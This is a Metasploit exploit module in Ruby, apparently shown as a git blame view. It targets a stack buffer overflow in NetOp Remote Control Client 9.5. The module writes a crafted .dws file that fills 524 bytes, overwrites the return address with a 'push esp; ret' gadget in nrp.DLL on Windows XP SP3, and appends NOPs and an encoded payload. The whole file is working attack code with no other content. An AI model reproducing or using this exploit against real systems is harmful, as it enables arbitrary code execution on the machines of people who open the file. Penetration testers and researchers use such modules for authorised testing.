2012-04-02 23:53:51 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2012-04-03 16:51:58 +00:00
|
|
|
# http://metasploit.com/framework/
|
2012-04-02 23:53:51 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
Rank = NormalRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::FILEFORMAT
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2012-04-03 16:51:58 +00:00
|
|
|
'Name' => 'NetOp Remote Control Client 9.5 Buffer Overflow',
|
|
|
|
'Description' => %q{
|
2012-04-02 23:53:51 +00:00
|
|
|
This module exploits a stack-based buffer overflow in NetOp Remote Control 9.5.
|
2012-04-03 16:51:58 +00:00
|
|
|
When opening a .dws file containing a specially crafted string longer then 520
|
|
|
|
characters will allow an attacker to execute arbitrary code.
|
2012-04-02 23:53:51 +00:00
|
|
|
},
|
2012-04-03 16:51:58 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
2012-04-02 23:53:51 +00:00
|
|
|
[
|
2012-04-03 16:51:58 +00:00
|
|
|
'Ruben Alejandro "chap0"',
|
2012-04-02 23:53:51 +00:00
|
|
|
],
|
2012-04-03 16:51:58 +00:00
|
|
|
'References' =>
|
2012-04-02 23:53:51 +00:00
|
|
|
[
|
|
|
|
[ 'OSVDB', '72291' ],
|
|
|
|
[ 'URL', 'http://www.exploit-db.com/exploits/17223/' ]
|
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'ExitFunction' => 'process',
|
2012-04-03 16:51:58 +00:00
|
|
|
'DisablePayloadHandler' => 'true'
|
2012-04-02 23:53:51 +00:00
|
|
|
},
|
2012-04-03 16:51:58 +00:00
|
|
|
'Platform' => 'win',
|
|
|
|
'Payload' =>
|
2012-04-02 23:53:51 +00:00
|
|
|
{
|
|
|
|
'Space' => 2000,
|
|
|
|
'BadChars' => "\x00\x0a\x0d",
|
|
|
|
'DisableNops' => true,
|
2012-04-03 16:51:58 +00:00
|
|
|
'StackAdjustment' => -3500
|
2012-04-02 23:53:51 +00:00
|
|
|
},
|
2012-04-03 16:51:58 +00:00
|
|
|
'Targets' =>
|
2012-04-02 23:53:51 +00:00
|
|
|
[
|
|
|
|
[ 'Windows XP SP3',
|
|
|
|
{
|
2012-04-03 16:51:58 +00:00
|
|
|
'Ret' => 0x20d6c32c, # push esp # ret - nrp.DLL
|
2012-04-02 23:53:51 +00:00
|
|
|
'Offset' => 524
|
|
|
|
}
|
2012-04-03 16:51:58 +00:00
|
|
|
]
|
2012-04-02 23:53:51 +00:00
|
|
|
],
|
2012-04-03 16:51:58 +00:00
|
|
|
'Privileged' => false,
|
|
|
|
'DisclosureDate' => 'Apr 28 2011',
|
|
|
|
'DefaultTarget' => 0))
|
2012-04-02 23:53:51 +00:00
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
2012-04-03 16:51:58 +00:00
|
|
|
OptString.new('FILENAME', [ true, 'The file name.', 'msf.dws']),
|
2012-04-02 23:53:51 +00:00
|
|
|
], self.class)
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
2012-04-03 16:51:58 +00:00
|
|
|
buffer = rand_text(target['Offset'])
|
|
|
|
buffer << [target.ret].pack('V')
|
2012-04-02 23:53:51 +00:00
|
|
|
buffer << make_nops(30)
|
|
|
|
buffer << payload.encoded
|
|
|
|
|
|
|
|
file_create(buffer)
|
|
|
|
end
|
2012-04-03 16:51:58 +00:00
|
|
|
|
2012-04-02 23:53:51 +00:00
|
|
|
end
|